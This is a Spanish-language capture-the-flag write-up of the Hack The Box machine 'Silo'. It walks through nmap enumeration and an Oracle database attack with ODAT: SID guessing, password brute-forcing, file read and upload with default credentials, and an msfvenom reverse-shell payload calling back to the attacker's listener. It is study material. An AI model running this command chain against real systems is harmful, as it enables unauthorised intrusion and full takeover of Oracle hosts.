Silo - WriteUp
Silo - WriteUp
🎯 Machine Info
Machine Silo
Platform HTB
OS Windows
Difficulty Medium
Tags:
Silo se centra principalmente en aprovechar Oracle para obtener un shell y escalar privilegios. Estaba pensado para completarse manualmente utilizando varias herramientas, sin embargo, Oracle Database Attack Tool simplifica enormemente el proceso, reduciendo sustancialmente la dificultad de la máquina.
ENUM
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Nmap 7.94SVN scan initiated Wed Feb 14 20:04:46 2024 as: nmap -sCV -p 80,135,139,445,1521,5985,8080,47001,49152,49153,49155,49159,49160,49162 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.95.188
Nmap scan report for 10.129.95.188
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/8.5
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open http Oracle XML DB Enterprise Edition httpd
|_http-server-header: Oracle XML DB/Oracle Database
|_http-title: 400 Bad Request
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=XDB
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open oracle-tns Oracle TNS listener (requires service name)
49160/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-02-14T19:06:22
|_ start_date: 2024-02-14T19:01:16
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode:
| 3:0:2:
|_ Message signing enabled but not required
|_clock-skew: mean: -32s, deviation: 0s, median: -33s
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -Pn -sT --script=oracle-tns-poison -p 1521 10.129.95.188
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-14 21:00 CET
NSE: DEPRECATION WARNING: bin.lua is deprecated. Please use Lua 5.3 string.pack
Nmap scan report for 10.129.95.188
Host is up (0.045s latency).
PORT STATE SERVICE
1521/tcp open oracle
|_oracle-tns-poison: Host is vulnerable!
PARA EXPLOTAR LA VULNERABILIDAD DE ORACLE UTLIZAREMOS LA UTILIDAD ODAT.py
Podemos lanzar el comando $ odat all -s 10.129.95.188 -p 1521 pero vamos a hacerlo paso a paso.
- Descubriendo SID válidos.
1
$ odat sidguesser -s 10.129.95.188
- Una vez tenemos un SID válido buscaremos credenciales válidas con fuerza bruta, podemos usar el diccionario que viene integrado con la herramienta o definir/convertir uno ya establecido como los de seclists en el formato xxxxx/xxxxx:
1
2
3
$ odat passwordguesser -s 10.129.95.188 -d XE
...
$ odat passwordguesser -s 10.129.95.188 -d XE --accounts-file creds.txt
- Tenemos credenciales válidas, ahora debemos probarlas para ver si tenemos ejecución de comandos o lectura de archivos. Empezaremos con la lectura de archivos. A veces las credenciales no tienen los permisos suficientes y hay que añadir la opción “-sysdba” para elevar privilegios y te permita ejecutar el comando como es en este caso:
1
$ odat utlfile -s 10.129.95.188 -d XE -U 'scott' -P 'tiger' --getFile /Windows/System32/Drivers/etc/ hosts hosts --sysdba
Para que no te de el WARNING lo puedes ejecutar con sudo o como root. El archivo lo copia en la ruta “/usr/share/odat/”
- Como tenemos permisos de lectura/escritura vamos a subir un payload que nos de una reverse shell generado con msfvenom
1
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.50 LPORT=443 -f exe -o reverse.exe
- Copiamos el payload dentro de la ruta “/usr/share/odat” y subimos el payload a la ruta Windows/Temp de la máquina y lo guardamos como reverse.exe también.
1
$ odat utlfile -s 10.129.95.188 -d XE -U 'scott' -P 'tiger' --putFile /Windows/Temp reverse.exe reverse.exe --sysdba
- Nos ponemos a la escucha con netcat y rlwrap.
1
$ rlwrap nc -lnvp 443
- Y por último ejecutamos el payload en la máquina víctima:
1
$ odat externaltable -s 10.129.95.188 -d XE -U 'scott' -P 'tiger' --exec /Windows/Temp reverse.exe --sysdba
Y pa dentro…
Como somos Administradores podemos registrar las don banderas de golpe y chimpun.
Última actualización: 2025-05-06
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0
Esta entrada está licenciada bajo CC BY 4.0 por el autor.





